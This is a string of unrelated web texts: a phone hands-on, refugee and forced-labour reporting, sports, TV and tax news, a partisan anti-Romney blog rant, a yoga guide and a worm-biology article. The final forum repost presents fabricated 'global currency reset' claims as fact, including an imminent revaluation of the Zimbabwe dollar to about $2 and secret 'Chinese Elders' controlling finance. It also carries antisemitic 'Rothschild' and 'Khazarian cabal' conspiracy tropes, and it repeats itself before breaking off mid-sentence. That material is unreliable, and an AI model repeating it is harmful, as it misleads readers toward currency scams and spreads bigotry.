-Nokia Lumia 800 White official: Hands-on  Nokia has officially announced the White Lumia 800, the company’s fourth color version of its first Windows Phone 7 handset, and we wasted no time in getting our fondle on. Set to hit shelves later this month, the white variant is functionally identical to the black, cyan and magenta models we’ve already seen – and reviewed – but has a fashionable new finish. Check out our video and full gallery after the cut.  Like the white Nokia N9 before it, the white version of the Lumia 800 is gloss-finish rather than matte. That makes it a little more slippery to hold, though it’s still compact enough to grip neatly in one hand. Glossy phones are usually fingerprint magnets, but the white Nokia manages to hide them reasonably well.  Otherwise it’s the same Lumia 800 we know from before, so you get a 3.7-inch WVGA ClearBlack display, 8-megapixel Carl Zeiss camera with 720p HD video recording, and a 1.4GHz single-core Qualcomm processor. OS is Windows Phone 7.5 Mango, and Nokia preloads its Nokia Drive app for free turn-by-turn navigation, along with Nokia Music for free streaming music.  Nokia Lumia 800 White hands-on:  [vms a7569d80eee2e035e2bd]  We asked Nokia whether the white Lumia 800 – and the which N9 before it – meant the company had a white version of the Lumia 900 in the pipeline, though it wouldn’t comment. Still, with the production process so similar for the slightly larger, LTE-equipped device, we really wouldn’t be surprised to see a white Lumia 900 show up later in 2012.  Until then, we’ll have to make do with the white 800, though that’s no great hardship. It’s set to go on sale sometime in February, country and network depending.
-It took Ahmed Ismael two years to earn minimum wage in Turkey. Like countless Syrian refugees living in the country, he worked six days a week, 12 hours a day in a textile shop to make about half of the 1,300 Turkish lira (395 euros/ $440) a legal resident would make for doing the same job. Then he got a raise in January.  "Now I can send money to my mom in Aleppo, so she's happy about that," says the 21-year-old as he enjoys a bowl of traditional fatteh from one of three Syrian restaurants in the Basmane plaza, where he is sitting.  Having left Syria after IS surrounded his city, Ismael compares his recent success to that of his older brother, who's been living in Germany for the past few years, has a full-time job, speaks four languages, is married to a German woman, and yet remains unhappy.  "He has everything, but there is still something missing," Ismael said. "He can't adapt to the culture."  This is why Ismael remains in Izmir, where he rents a tiny room in the Basmane district, an area known as the hub for human traffickers selling boat rides to Greece. Although he could buy a spot on a dinghy, the idea of moving to Europe doesn't appeal to him. Instead, he prefers to keep his low-paid job to stay in a culture where he feels comfortable - and he's not alone in his thinking.  Close to home  Of the 2.5 million Syrians living in Turkey, about 85,000 reside in Izmir, according to government data. Mohamed Saleh, director of the Relief Society of Syrian Refugees in Izmir, argues the real number is somewhere around 150,000 and the term 'refugee' is incorrect.  "I don't think of Syrians in Izmir as refugees," Saleh said. "They are just in a waiting room, like in a bus station, waiting to go home."  To make the waiting period a little easier, Saleh founded his organization in 2011 to help refugees find apartments, jobs and schools for their children. His most popular offering is the free Turkish-language course given by volunteer teachers, but overall, his organization's goal is to convince refugees to stay in Turkey by creating avenues for integration.  Saleh tries to accommodate refugees and convince them to stay  "I know [the Syrian] psychology very well, and the answer is to stay in Turkey," Saleh said.  A retired professor from Syria's Kurdish region, Saleh scrolls through messages on his phone from disillusioned refugees who arrived in Europe and now wish to return to Turkey.  "No one wants to speak with us," a friend in Sweden texted him. "We can't even find dogs to talk to."  Others complain about extended periods in refugee camps, bland food, bad weather, and the cold attitudes of some locals after the events in Paris and Cologne.  "They are surprised with reality in Europe and understand now that it's not heaven," Saleh said. "An old proverb says drums sound better from a distance."  As an alternative, Saleh says Izmir is a good home for Syrians because it's relatively safe and more affordable than Istanbul or Ankara. For about 300-400 Turkish lira a month, a family can rent a 20-square-meter apartment here. Quarters are often humid and the roof leaks when it rains, but establishing a new life in Izmir is easier than in other Turkish cities.  'Europe hates us'  The main problem for young refugees is education. Just 10 percent of school-aged Syrians in Izmir attend school on a regular basis, according to Saleh, and he recently struck a deal with UNICEF to fund Arabic-language courses for refugees in seven city schools. The afterschool program is expected to start in March; Saleh is anxious to begin addressing one of the less visible tragedies of the refugee crisis.  "My kids go to school every day, but just listen … they don't do anything," said Maher Mahmood (photo above), an Iraqi refugee. "The lessons are in Turkish and they can't understand the teacher."  Mahmood stirs a Syrian brand of instant coffee into a paper cup as he speaks inside a Basmane café. He sits with his Syrian-Kurdish friend, Abdulrahman Ebrahim. They both have families to support, and they're both out of work.  Stores carrying Syrian products have multiplied in Basmane in recent years  Holding a refugee ID card, Mahmood says he recently moved to Izmir after spending two years in Turkey's Cankiri province, where he worked in masonry six days a week, ten hours a day, for a daily salary of 20 lira (6.10 euros/$7).  "In Iraq, I had two cars, a home and a bakery, but I sold it all," Mahmood said. "I just want my children to live in a safe place."  It's been two years and three months since Mahmood applied for asylum in the United States, and though he receives plenty of ridicule from his friend, Ebrahim, he remains hopeful.  "Europe hates us and America hates us," Ebrahim tells him. "Too many refugees went to Germany and we forced them to hate us."  "Even if they offer me a job in Europe, I will stay here," Ebrahim continued.  Across the street, Faisal, a café worker who didn't want to give his real name, agreed.  "If I go to Europe, I will lose my children," Faisal said. "When a child becomes a teenager, you can't say anything to them. Teenagers in Europe are beyond their parents' control."  "Here we can live the way we've always lived so I accept 25 lira a day to keep my family secure."
-"We're excited to have Antoine Bibeau join our already strong goaltending stable," said Joe Will, Assistant General Manager of the San Jose Sharks. "He adds tremendous depth at an important position, has an incredible amount of American Hockey League experience for such a young man, and has proven he can play at the NHL level."  SAN JOSE - San Jose Sharks ( @SanJoseSharks ) General Manager Doug Wilson announced today that the club has signed goaltender Antoine Bibeau to a one-year, two-way contract. Per club policy, terms of the deal were not disclosed.  Bibeau appeared for the Toronto Maple Leafs in two games last year, his first stint in the National Hockey League, recording a 1-1-0 record with a .927 save percentage and a 1.99 goals-against average.  He spent most of the 2016-17 season with the Toronto Marlies, the American Hockey League affiliate of the Toronto Maple Leafs, where he registered a 13-14-5 record with a .894 save percentage and a 3.08 goals-against average. He was tied for 12th place in shutouts amongst all AHL goaltenders with three on the season.  In 104 career AHL games over three seasons with the Toronto Marlies, the 23-year-old tallied a 56-33-11 record with a .906 save percentage and a 2.79 goals-against average to go along with 10 shutouts.  During the 2013-14 season, Bibeau won the Guy Lafleur Trophy as the Quebec Junior Major Hockey League Playoffs Most Valuable Player after he led the Val-d'Or Foreurs to the 2014 President's Cup (the QMJHL championship). He also won the Hap Emms Memorial Trophy as the Memorial Cup's Most Outstanding Goaltender. In addition, he was named to the CHL Memorial Cup All-Star team.  The six-foot-three, 210-pound native of Victoriaville, Quebec was originally drafted by the Toronto Maple Leafs in the sixth round (172nd overall) of the 2013 NHL Draft.
-As governor of Massachusetts, Mitt Romney closed a big deficit with a mix of spending cuts and revenue increases, but he never raised tax rates.  NEW YORK (CNNMoney) -- Mitt Romney has portrayed himself as a tax cutter when he served as governor of Massachusetts -- slashing taxes 19 times.  His opponent Newt Gingrich and others have said Romney raised taxes.  So which is it?  This is politics, so there is hyperbole on both sides. And there's always disagreement about what can be categorized as a tax increase or cut.  The bottom line is that Romney cut some taxes as governor. But he also faced a big budget deficit when he took office in 2003, so he raised revenue as well. (State tax changes on the way in 2012)  The cuts: Among Romney's cuts was a one-year delay in a capital gains tax increase enacted before he took office. That resulted in a one-time savings of $250 million for Massachusetts taxpayers.  Other tax cuts or breaks Romney gave his stamp of approval to:  --a biotech manufacturing jobs tax rebate;  --prescription drug and property tax relief for seniors;  --tax breaks for commuters and veterans;  --and a deduction for businesses that install automatic sprinkler systems.  He also extended or made permanent some temporary tax breaks and signed into law two sales tax holidays, each of which lasted a day or two.  The Romney campaign did not provide an overall estimate of how much the 19 measures saved taxpayers. And the independent Massachusetts Taxpayers Foundation didn't have one.  The new revenue: But since the tax cuts were relatively small, the revenue taxpayers saved was "vastly less" than the roughly $700 million in additional annual revenue the foundation estimates was raised because of other measures Romney signed, according to Michael Widmer, the foundation's president.  Romney's opponents call many of those measures tax increases; he says they weren't tax increases but rather corporate loophole closings and fee increases.  "A loophole is when someone takes advantage of a tax law in a way that wasn't intended by the legislation," Romney said at a campaign stop in Iowa last summer.  He noted that when he took office some Massachusetts banks were calling themselves real estate companies and getting a special tax break intended for real estate enterprises.  "We said no more of that. You're not going to game with the system," Romney said.  Fair enough.  But Romney did more than close loopholes, Widmer said. For example, he noted, the state's revenue commissioner was given unprecedented power to scrutinize corporate returns and decide if a transaction may have been engaged in strictly for the tax benefit rather than a business-related reason.  As for fees and penalties, sometimes they're just that. For instance, Romney increased the penalty for engaging in abusive tax transactions, said Kathleen Thies, a state tax analyst for tax publisher CCH.  But some of Romney's moves were a direct bid to boost revenue, especially in his first year when he needed to close a $2 billion budget gap, Widmer said.  A number of fees affecting individuals went up, including fees on home buyers and various license fees. Romney also proposed several new fees.  "I think there is an argument to be made that these changes were, in fact, tax increases. However, since they were not rate increases per se there is more wiggle room," Thies said.  Indeed, during Romney's tenure, individual and corporate income tax rates did not go up.  The verdict: Gov. Romney cut select taxes while in office. And he even proposed some new tax cuts that didn't pass the legislature -- like a 0.3 percentage point reduction in the 5.3% state income tax rate.  But he also had an obligation to balance the state's budget every year, and when he came into office he was facing a big deficit that he plugged using a mix of spending cuts and revenue increases.  "He solved for a $2.1 billion problem. Half of it came from revenue," Widmer said. "He brought a balanced approach."  The tax plan Romney has proposed in his bid for the White House would preserve today's income tax rates, but also lower investment taxes and eliminate the estate tax. His plan would reduce federal revenue by an estimated $180 billion in 2015 alone, according to a Tax Policy Center analysis.
-“It’s inefficient in some ways, and it’s efficient in others,” the CW chief said of TCA's topic du jour during his turn before the press.  CW President Mark Pedowitz is committed to pilot season.  Much like his broadcast cousin, CBS’ Nina Tassler, Pedowitz used the Television Critics Association press tour Wednesday to show his commitment to the development model. The merits of pilot season have become the topic du jour ever since Fox’s Kevin Reilly used the soapbox Monday to reveal his network's plans to abandon the age-old springtime tradition.  “It’s inefficient in some ways, and it’s efficient in others,” Pedowitz said from stage, noting that the CW has played a slightly different game than his broadcast competitors. With less real estate, he has had to order far fewer pilots and has been able to maintain a particularly high ratio when it comes to series orders. This past year, for instance, five of the younger-skewing network's seven pilots were ordered to series. (Pedowitz, who touted the potential to “learn things” from pilots, suggested he’ll have the same number of pilots this year.)  STORY: 'Wonder Woman' Prequel 'Amazon' Dead at CW  In addition to a buzz-worthy announcement about a Veronica Mars digital spin-off, Pedowitz addressed his increasingly high-concept brand, his plans for Flash and the broadening of his network during his half hour before the press. Here are the highlights:  High-Concept Fare  Recent years have taught Pedowitz a few things about what works and what doesn't on CW's schedule. In the latter category are docuseries (summer experiment Breaking Pointe will not return) and traditional procedurals. What does? High-concept, fantasy, serialized programming, as evidenced by the success of CW series such as Arrow and Vampire Diaries. Still, he stressed that those descriptors can be broadly defined, noting that a former CW staple, Gossip Girl, could have fit into all three categories.  Future of the Flash  Pedowitz pronounced himself "bullish" on the much-discussed The Flash project moving forward. Arrow showrunners Greg Berlanti, Andrew Kreisberg and Geoff Johns already introduced the DC Comics character Barry Allen/The Flash in Arrow's two-part winter finale, which ended with a cliffhanger for the character. Pedowitz added that "rather than try to squeeze in a spinoff" he'd like to see a Flash series launch "with a bang like we launched Arrow."  Series Fate  While Pedowitz suggested the fates of lesser-watched entries, The Carrie Diaries and Hart of Dixie, will not be decided until May, he's optimistic about a renewal for Julie Plec's The Vampire Diaries spin-off The Originals as well as freshman series Reign and veteran Supernatural. (As for the Supernatural spinoff in development, he confirmed that there would be a spinoff episode in the original. "For me, for spinoffs to work they have to stand on their own two legs," he added. "And you can only organically do crossovers when the time is right.")  A Broader Reach  The network's bread-and-butter of fantasy-adventure dramas is in the sweet spot of the network's target audience of viewers 18-34, but Pedowitz and his team have made a conscious effort to bring older viewers into the tent with unscripted fare like Whose Line is it Anyway. (Another season of Whose Line will bow March 21 and run through the summer.) "It was our strategy to broaden out," Pedowitz told reporters, adding: "We are getting a fair amount of viewers who are 35+ and our affiliates are very happy with that."
-A man who claims to have been held as a slave labourer for 18 years in Russia’s Northern Caucasus region has reportedly escaped. How many more are left behind, asks RFE/RL  A man has been rescued after being held for 18 years as a slave forced to work in brick factories and herd cattle in Dagestan, in Russia’s turbulent Northern Caucasus region, according to Russian media reports.  The 43 -year-old from Murmansk, who was named as Sergei Hlivnym, said he had arrived in Dagestan’s capital Makhachkala in 1996 looking for work. As soon as he got off the bus, his documents were stolen and he was forced to work in a brick factory, where he received only food and clothing for his labour, he said.  He told local media he had attempted to escape several times but was caught, and then forced to work as a cattle herder. The Russian NGO Alternativa said last week they had helped to secure the man’s release – the fifth so far this year. Alternativa says at least 12 people were rescued in 2013.  More than 3m people live in the turbulent, mountainous North Caucasus region, which is bordered by Chechnya, Georgia and Azerbaijan. Cases of forced labour have been reported in the area for several years, but largely go unchecked.  Victims are mostly male and Russian, with some from Belarus. Many say they were approached in Moscow or Yekaterinburg with the offer of work, but after signing contracts they were drugged and transported to Dagestan while they were unconscious. Reports of physical abuse are common.  The use of forced labour is outlawed in Russia. However, according to the 2013 Global Slavery Index, between 490,000 and 540,000 people are believed enslaved in the country, with the majority having been trafficked internationally. It is not known how many people may be working under such conditions in Dagestan.  Nine labourers (five from Belarus) were released in January 2013 with the help of Alternativa. At the time, Nariman Gadzhiyev, who was then Dagestan’s information minister, admitted that “slave labour is not a rare occurrence in Dagestan,” and that it was not confined to the construction industry.  In May 2013, police launched an investigation after one Dagestan blogger claimed there was a functioning slave market behind one of the city’s cinemas where it was possible to purchase a male slave for 15,000 rubles (£235).  The region’s prosecutor’s office announced one year ago, however, that inspections of brickworks in the towns of Makhachkala, Kaspiisk, Kizlyar, and Kizilyurt and in the Babayurt, Kizilyurt, and Karabudakhkent districts failed to yield any evidence of the use of involuntary or slave labour. Those inspections did, however, uncover numerous unspecified violations of labour, land, and tax legislation and of health and safety regulations.  On the whole, the republic’s authorities appear more concerned by the aesthetic and ecological impact of the brickworks and their importance for the republic’s economy than the status of their workforce.  Ramazan Abdulatipov, leader of the Republic, complained in February that seen from the air, Makhachkala is surrounded by flooded craters where clay for bricks has been excavated. Some of those craters are up to 150m in diameter and 25-30m deep. Other abandoned craters are used as rubbish tips, though by law the brickworks owners are obliged to re-cultivate them.  The brickworks are inspected at intervals: four of six brickworks in Kaspiisk inspected last month were ordered to suspend production “temporarily” to address ecological and sanitary norms violations. But any large-scale crackdown or reduction in the total number of such enterprises is unlikely in view of the importance of the construction sector to Dagestan’s ramshackle economy. According to official statistics, the Kaspiisk brickworks alone produce between eight and nine million tons of bricks per year.  In March 2013, an official from the Makhachkala prosecutor’s office for nature conservation told parliament officials that “until recently,” there had been a total of 86 functioning brickworks in Dagestan, 39 of them in Makhachkala and the coastal town of Kaspiisk. One month later, Daghestan’s ecology and natural resources minister Gasan Idrisov cited a figure of 27 for Makhachkala and Kaspiisk.  A version of the article first appeared on Radio Free Europe/ Radio Liberty
-This woman is truly awful:  I'm hearing from so many women that may not have considered voting for a Republican before, but said, "It's time for the grown-up to come, the man that's going to take this seriously, that's going to take the future of our children very, very seriously."  It's funny how anonymous women keep reporting things to Ann (that she can then report to Mitt so he doesn't have to talk to women directly) that seem, at best, unlikely, and more likely, pulled straight out of her pampered two-Cadillac-driving ass. These women keep telling Ann things that they're not telling anyone else—certainly not the pollsters out there who keep reporting back that women like President Obama much more than they like Mitt Romney; that women trust Obama more than they trust Romney; and that Romney kinda sorta scares the daylights out of them.  But Ann's not talking to those women. She's talking to the ones who think President Obama's not a "grown up"—which, according to my Dogwhistle-to-English dictionary, is a more subtle way of calling a grown black man "boy"—and that the not-grown-up Obama believes the "future of our children" is some laughing matter. If only the pollsters could find those women, Romney's chances might look better than they do.  As Mitt Romney's chief adviser on lady things, she's been reporting back to Mitt on what lady voters supposedly tell her they think, and she's so thrilled and delighted that he listens to her. But Ann doesn't really know what she's talking about, because when the Romney campaign is asked for comment on, say, women—well, gosh, they just cannot find a single "appropriate spokesperson." Suddenly, the nation's foremost confidante of lady voters doesn't have a thing to say.  But here's where Ann once again reveals herself to be just as mean and awkward and insulting as her husband:  I very much believe, Candy, that it's going to be an economic election, and I think a lot of women may be voting, this cycle around, in a different way than they usually are: that is, thinking about the economy, thinking about their own jobs, thinking about their husbands' jobs, but also thinking about the future.  Usually, we lady voters try not to hurt our ladybrains with serious things like the economy or our jobs or the future. We're far more likely to vote based on where we are in our menstrual cycle or whether we're having a good hair day. Sometimes, we just flip a stiletto: heel facing north, we vote Democrat; heel facing south, we vote Republican. After we find a big strong "grown up" man to tell us which way is which because you know how we ladies are with directions.
-Whether you’re looking to increase your strength, find a low-impact exercise, improve your flexibility and mobility, or simply take some time out of your day to center yourself, yoga is a great practice. Yoga has been proven to reduce stress, improve fitness, and can even help manage chronic health conditions.  Dreaming of becoming a yogi? We’ve got you covered. Keep reading to learn everything you need to know before trying your first downward dog.  Who Should Try Yoga?  Because yoga is such a variable activity, it’s a wonderful form of exercise for those of all ages and levels of fitness, from young children to older adults. Most of the poses used in yoga can be modified, meaning that each person can uniquely customize their experience. Although most often conducted as a group activity, yoga is not a team sport and therefore no one person is relying on another’s performance, which creates a stress-free but shared experience.  What Do You Need to Start?  Yoga also requires very little equipment and cost to get started. All you need is a yoga mat, appropriate clothing (something breathable and flexible such as yoga pants and a cotton shirt) and bare feet or Injinji yoga socks. Yoga classes can vary greatly in their intensity, so if you’re going to a power yoga or a hot Bikram yoga class, then wear clothing that can help wick away moisture during your practice. Form-fitting clothing can help your instructor check your alignment during poses, and can also help keep your top from coming up during inversions (upside-down poses). Yoga mats come in all colors and levels of thickness, and they can often be purchased at the studio or at any sporting goods store for a minimal investment.  Where Should You Practice Yoga?  Yoga’s diversity extends beyond the actual practice in that it can be done anywhere you choose. Whether it’s on a bluff overlooking the beach, in a spacious studio, or in the comfort of your own home, beginning your yoga practice is as easy as laying out your mat and simply getting started. Your practice can also be done at any time, and whether you choose to start or end your day with yoga is a personal decision. It’s also something you can take with you during your travels.  Should You Take a Class or DIY?  Depending on your preference, you can either watch videos online and instruct yourself or let a trained yoga instructor take you through your practice. If you’re just getting started, it’s a good idea to get a few classes under your belt with the support of an instructor who can demonstrate poses for you and also check your form. If you do choose to practice yoga at a studio, it’s important to know a little bit about common yoga etiquette before you lay out your mat for your first class. Here are a few pointers for first-timers:  Get to class early to get a spot and lay out your mat. Allow plenty of room between you and your neighbors. Take off your shoes before entering the room. Yoga is typically practiced barefoot or in socks. Turn off any cell phones and other electronics, and step outside if you must take a call. Don’t leave early. Wait until the end of class so that you don’t disturb the focus of others. Remain silent during class. The only one talking during yoga sessions should be your instructor.  The Basics: Namaste, Poses, and Breathing  A common term used in yoga is the word Namaste, which is a Sanskrit term meant to express honor toward one another. This is usually spoken at the end of class by the teacher, and then repeated back by the class.  Some of the common poses practiced during yoga routines include warrior 1 and warrior 2 (which look similar to lunges), the chaturanga (which looks much like the middle of a pushup), and downward dog (which looks much like a dog stretching).  The poses you perform should be challenging, but not at the expense of your form. Breathing is also a critical part of yoga practice, as matching breath to movement can help calm the mind and bring focus back to the present moment. Conscious breathing helps you stay centered and mindful of your physical activity. This can help keep your mind from wandering off to subjects outside of the studio. Just this simple practice of staying focused is a great way to keep stress from creeping in. It gives your mind a break from and offers you time to just be still.  A Final Word  In a busy life, much of the time is spent thinking about the past, or the to-do list of the future. Yoga practice is a healthy, meaningful way to stop the constant mind chatter and really take a physical inventory of your body’s health. Anyone can begin a practice of yoga, whether they begin at a young age or pick it up in their later years. Over a lifetime it can help you better handle day-to-day stress and remain flexible and balanced both mentally and physically. If you choose to incorporate it into your routine, yoga can become a permanent fixture that assures you take some time regularly to reconnect with yourself.  Namaste.
-Watching worms die may not sound particularly exciting, but what if when they kicked the bucket they started glowing blue? That’s what a team of biologists has observed in the roundworm Caenorhabditis elegans. A blue “death wave” ripples down the worms’ bodies for up to six hours as the life drains out of them—a phenomenon that is yielding insights into how death spreads throughout an organism.  “Death actually propagates,” says David Gems, a biogerontologist at University College London (U.C.L.) and co-author of the study. “The presence of a dead cell triggers destruction in a neighboring cell.” Gems and his colleagues describe their findings in the July 23 edition of PLoS Biology.  The cascade of cell death in C. elegans rides a wave of calcium ions that travels through the worm from front to back. The influx of calcium into a cell triggers processes that dismantle cellular structures. Lysosomes—the waste-processing centers of cells—burst and “that’s when all hell breaks loose,” as Gems puts it. The lysosome eruptions cause the cell to digest itself. The calcium ions then jump to a neighboring cell and the death wave continues.  The blue fluorescence, seen only when the worms are under ultraviolet light, comes from anthranilic acid, an organic compound produced inside little granules that line the worm’s intestine. As the death wave propagates, the granules burst, releasing the acid into a lower pH environment. The drop in pH amplifies the anthranilic acid’s natural fluorescence, generating a blue flash that follows the calcium wave. The flash “is a marker of death,” Gems says.  By knocking out proteins called innexins that are essential to transferring calcium from one cell to the next, the researchers were able to stop the spread of death in the worm—but only in the case of injury. “Blocking necrosis doesn't expand life span,” Gems says. In the case of aging “there are other things happening in parallel that are contributing to death.”  So does this mean that targeted drugs can stop or slow injury-related death in humans? Not yet. “We're so much more complicated than that,” says Cassandra Coburn, also of U.C.L. and lead author on the paper. “I don’t think you can make that comparison.” But the finding could lead to a better understanding of tissue damage. The propagation of cell death in worms is a model for understanding death in higher order animals “during injury from stroke, infection or mechanical injury like a bone-break or a stab,” Gems explains. “Essentially, that’s universal. What we found is that the pathway involved in this chain of death [in C. elegans] is pretty much the same as in mammals. It's an ancient biology of spreading of death in organisms.”  “People are very excited” about this new insight, says Malene Hansen, a microbiologist who researches aging at the Sanford-Burnham Medical Research Institute but is not involved in the work. “The implication of this systemic collapse as a real process to the event of organismal death is something we had just not thought about before,” she says. For a long time biologists have viewed aging as something that just builds up over time: a wear-and-tear process. This study, however, shows aging and death as a triggered, controlled event. “The emerging picture,” Hansen explains, “is that there’s all these cellular processes that talk to each other…and these processes have been linked to aspects of disease that hopefully we can pin together in a cool way.”  The discovery of the worm’s glowing death wave owes a lot to luck. Coburn was studying blue fluorescence in C. elegans for her PhD project. Other researchers had reported an increase in fluorescence in worm populations over time, leading many biologists to assume it was a marker of aging. Coburn, however, still wanted to figure out what caused it. When she started watching individual worms—as opposed to an entire population—she got a surprise. Rather than slowly brightening as they aged, the worms flashed blue at death. “I stayed in the lab until 2 A.M. to see what was happening because I couldn't bear to not know,” Coburn recalls. “It was such a bizarre phenomenon to watch...it really took my breath away.”  Once Coburn and Gems discovered the death fluorescence, they wanted to know what it was—“what was the blue stuff, how does it form and what’s its relationship to death?” she says. This initial investigation led them to the discovery that the anthranilic acid fluoresces and the calcium wave triggers the event.  Many mysteries remain. For one, what role do innexins—the proteins that shuffle calcium from one cell to the next—play? To identify the calcium pathway, Coburn worked with worms that had a gene mutation that switched off innexin production. No innexins meant no calcium propagation and no death wave. But did the absence of innexins since birth introduce any side effects? “I’m not so sure whether or not having these genes during development could be a problem,” Hansen says. The ideal experiment would leave the innexins intact as the worms mature and then switch them off later in life.  Remarkably, biologists can do this. By feeding the worms a special blend of their favorite food—genetically modified bacteria—researchers can introduce a genetic “off-switch” anytime they like. The technique won Andrew Fire and Craig Mello the Nobel Prize in Physiology or Medicine in 2006.  Researchers would also like to know what starts the calcium wave. “That's the big question,” Gems says. He wonders whether it begins in the same way as rigor mortis, the stiffening of muscles after death. In rigor mortis the inhibition of ATP, the basic unit of energy within a cell, triggers a release of calcium into the muscles. That is, without ATP the cell can’t keep out the calcium ions. Hansen also speculates about what role other tissues play: “It would be cool to ask if it starts in the neurons or muscle,” which could reveal insights into human death.  Both Gems and Coburn are at a loss to explain why the death wave only propagates from front to back. Coburn suggests it might have something to do with a bundle of nerve cells sitting next to the beginning of the intestine. The researchers also think there must be some undiscovered organization in the intestine that differentiates front from back. The intestine is the worm’s only major organ and so has to simultaneously function as a liver and stomach as well. “It’s just a long tube of cells,” Hansen explains, “but there may actually be different compartments, just like our intestinal tube…, that is compelling to us.”  For the moment they have no clear answers but they remain enthralled with the phenomenon. “People are fascinated by seeing this spectral glow of death in an organism,” Gems remarks. “I think that’s important. You don’t get much wonder in C. elegans.”
-WeAreAllOne  Service to you - With service of light  Only Egos, Fears, and Illusion separate us.  Posts: 2,176  Location: Gaia  Service to you - With service of light Operation Disclosure - 3/15/2017 Quote Select Post  Select Post Deselect Post  Deselect Post Link to Post  Link to Post Back to Top Post by WeAreAllOne on The World is now Primed for massive change. Operation Disclosure update, 3/15/17  Restored Republic via a GCR  Compiled in the early morning hours EST of 15 March 2017 by Judy Byington, MSW, LCSW, ret, CEO, Child Abuse Recovery  A. March 14 2017 Bruce's The Big Call: Thebigcall.net  1. Timing for the GCR is imminent based on info that came in today March 14 2017.  2. Things were accomplished overnight and we thought it would happen this am, but confirmations came in during the day that started to add up.  3. In Iraq a few days ago their social media was compromised and filtered so info did not come out.  4. Leaflets were dropped over Mosul to tell the citizens: "We have the victory."  5. All of the banks in Iraq have been syncronized, except for two, a couple of days ago.  6. The Iraqi Qi cards all had the same rate (published in their Gazette) and were paying out all the people, then it stopped - we don't know why.  7. In the US we are about to make the transition from the old to the new. The accounting was complete this am.  8. Tomorrow the new UN operational rates are supposed to come out. Shortly after midnight the new rates should show.  9. It is concievable we might get the notification 800#s tonight, tomorrow or tomorrow night March 15 2017.  10. The non NDA rate for the Zim is a few cents over $2.  11. Bruce has plans for 80 to 100 Veterans Retreats across the US. His plan should be the largest employers for veterans in the US.  12. If you want to partner with The Big Call on the Veterans Retreats and/or Rebuild America consider negotiating for the higher rates on the Zim.  B. March 14 2017 WSOMN AdminBill: Red Alert Status  This week the Ides of March is nearly here, there is much going on and we may be looking at the End Game. In the past few days the details are not yet confirmed, but info has been coming in from all directions. If what I'm hearing is true I may have to move the Alert Status to Red Hot Red Alert for the next two days.  C. March 14 2017 11:21 am EST Intelligence Alert: Operation Disclosure Intelligence Alert: Revaluation News -- March 14, 2017  1. European Royals and remaining Cabal political minions are permanently fracturing as it relates to membership in the European Union and the end of the Euro.  2. The British Pound would be affected first and fast, so they're working out final details now across all 27 members, finally, but at the last possible second.  3. The entire balance of power across Europe is shifting today March 14 2017. Old constructs of culture and finance crumbling, never to be restored.  4. Brexit's Article 50 initiation is waiting on Royal Assent approval from the House of Windsor (which is really the House of Rothschild) who is right now in a hard core horse trade for survival.  5. The East Coast snow storm did create a temporary delay for public safety. But it's minimal.  6. All the global dominos are are set up to be push down all at once.  7. The Israeli / Palestine issue has been settled, with the public announcements forthcoming post RV.  8. The Chinese Elders will push the first domino at some point in time from the mountains above Beijing. Grandfather's call. Their gift. Our wait.  9. Few understand the scope and volume of mercy reserved for humanity for this time, though very soon all will. Our humanity, planet and world are on the verge of being set free permanently.  D. March 14 2017 Yesterday's ZIM rate: ZWD RATE TODAY, 13 MARCH  1 Zim = .00276319 USD, (or a 100 Trillion Zim note was worth $276,319,000)  E. March 14 2017 3:30 am EST Intel by Whoof: "Intel Regarding the Admiral" by Whoof - 3.14.17  1. My source was told that the Admiral was paid yesterday in that he exchanged his currency and commenced the funding of the RV.  2. Subsequently, and I'm not sure why, the Admiral then pays the Chinese which I was informed occured also.  F. March 14 2017 8:34 am EST Geopolitical Op-Ed Israel and China: "The Silent War Between Israel and China" - Geopolitical Op-Ed - 3.14.17  1. By controlling the new global financial system and demanding one simple mandate: either be with the Elders (humanity) or be against them (humanity), no exceptions, the Chinese Elders have quietly gained control of the entire region of Israel utilizing the size and strength of Russian, Turkish, Syrian and Iranian military forces.  2. Right now Egypt, Jordan, Syria, Lebanon, Iraq, Turkey and Iran have all joined forces and actively surround Israel's small military.  3. This report of advanced Russian build up in the Middle East is most likely true and done to reinforce an existential military threat against the nation of Israel.  4. The exact same military realty can be found in the Ukraine, the true home of Ashkenazi / Khazarian / cabal crime family members - for humanity or against humanity - their choice.  5. This is why Israel will suddenly and miraculously settle with Palestine, and come to a lasting peace between two sovereign nation states that diplomatically recognize one another.  6. Otherwise the Zionist nation that is Israel, with recent origins only going back to 1917, will be completely annihilated and it's holdings and territory fully returned to the Palestinian Authority.  7. The Elders want lasting peace so they are prepared for perpetual war should the Israelis/Ukrainians/Khazarians ever feel the need to dominate world affairs again.  8. The masses of global population are none the wiser. This is not a display of soft power, it's an invisible declaration of absolute power to avoid another world war.  Source: Operation Disclosure  Source:  operationdisclosure.blogspot.com/2017/03/restored-republic-via-gcr-as-of-march_15.html?utm_source=feedburner&utm_medium=email&utm_campaign=Feed%3A+OperationDisclosure+%28Operation+Disclosure%29  "FBI: New Evidence From Anthony Weiner Will See Clinton 'Locked Up For Life'"  www.freedomsphoenix.com/News/214410-2017-03-14-fbi-new-evidence-from-anthony-weiner-will-see-clinton-39.htm?From=News  Compiled in the early morning hours EST of 15 March 2017 by Judy Byington, MSW, LCSW, ret, CEO, Child Abuse Recovery Author, "Twenty Two Faces," www.22faces.com A. March 14 2017 Bruce's The Big Call: Thebigcall.net1. Timing for the GCR is imminent based on info that came in today March 14 2017.2. Things were accomplished overnight and we thought it would happen this am, but confirmations came in during the day that started to add up.3. In Iraq a few days ago their social media was compromised and filtered so info did not come out.4. Leaflets were dropped over Mosul to tell the citizens: "We have the victory."5. All of the banks in Iraq have been syncronized, except for two, a couple of days ago.6. The Iraqi Qi cards all had the same rate (published in their Gazette) and were paying out all the people, then it stopped - we don't know why.7. In the US we are about to make the transition from the old to the new. The accounting was complete this am.8. Tomorrow the new UN operational rates are supposed to come out. Shortly after midnight the new rates should show.9. It is concievable we might get the notification 800#s tonight, tomorrow or tomorrow night March 15 2017.10. The non NDA rate for the Zim is a few cents over $2.11. Bruce has plans for 80 to 100 Veterans Retreats across the US. His plan should be the largest employers for veterans in the US.12. If you want to partner with The Big Call on the Veterans Retreats and/or Rebuild America consider negotiating for the higher rates on the Zim.B. March 14 2017 WSOMN AdminBill: Red Alert StatusThis week the Ides of March is nearly here, there is much going on and we may be looking at the End Game. In the past few days the details are not yet confirmed, but info has been coming in from all directions. If what I'm hearing is true I may have to move the Alert Status to Red Hot Red Alert for the next two days.C. March 14 2017 11:21 am EST Intelligence Alert: Operation Disclosure Intelligence Alert: Revaluation News -- March 14, 20171. European Royals and remaining Cabal political minions are permanently fracturing as it relates to membership in the European Union and the end of the Euro.2. The British Pound would be affected first and fast, so they're working 